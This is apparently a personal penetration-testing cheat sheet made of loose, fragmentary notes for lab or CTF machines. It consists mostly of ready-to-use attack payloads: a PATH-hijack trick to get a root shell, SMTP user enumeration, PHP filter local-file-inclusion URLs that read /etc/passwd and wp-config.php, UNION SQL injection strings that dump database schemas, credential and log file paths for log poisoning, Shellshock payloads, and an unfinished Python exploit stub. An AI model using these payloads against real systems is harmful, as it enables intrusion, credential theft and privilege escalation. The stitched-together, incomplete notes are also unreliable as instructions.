tanaka tanaka-geek

Which/Where PATH are writable

these are the regular library path

>>> import sys
>>> print "\n".join(sys.path)
/usr/lib/python2.7
/usr/lib/python2.7/plat-x86_64-linux-gnu
/usr/lib/python2.7/lib-tk

We assume that ps is given a root permission and we can change the variable path to ps to /malicious/ps

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami -&gt; root

ismtp is a tool that enumerates emails

> ismtp -h 192.168.50.11  -e emails.txt

 ---------------------------------------------------------------------
  iSMTP v1.6 - SMTP Server Tester, Alton Johnson ([email protected])
 ---------------------------------------------------------------------

 Testing SMTP server [user enumeration]: 192.168.50.11:25

If no command is specified, the -l (list) option will list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host

sudo -l 
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

sudo --list reads configuration file and shows the matching user's allowed commands

filter

can display php files in text otherwise that is executed.

php://filter/convert.base64-encode/resource=file:///challenge
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/wp-config.php

UNION BASED

it is like basic thing to try

' UNION SELECT 1,version(),3,4,5,6
' UNION SELECT 1,version(),3,4,5,6,7,8,9... # add more until it works
' UNION ALL SELECT 1,version(),gRoUp_cOncaT(0x7c,schema_name,0x7C),4,5,6 fRoM information_schema.schemata#
' UNION ALL SELECT 1,version(),gRoUp_cOncaT(0x7c,schema_name,0x7C),4,5,6 fRoM information_schema.schemata#

	from email.mime.multipart import MIMEMultipart
	from email.mime.text import MIMEText
	import smtplib
	import sys

	lhost = "127.0.0.1"
	lport = 443
	rhost = "192.168.1.1"
	rport = 25

	# contains credentials
	/etc/passwd
	/etc/htpasswd/.htpasswd
	/etc/apache2/htpasswd

	# contains logs : Log Poisoning might be possible with LFI
	/etc/apache2/logs/access.log
	/etc/apache2/logs/error.log
	/etc/apache/logs/access.log
	/etc/apache/logs/error.log

	User-Agent: () { :;}; /bin/bash -c "echo this is vulnerable"
	env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echo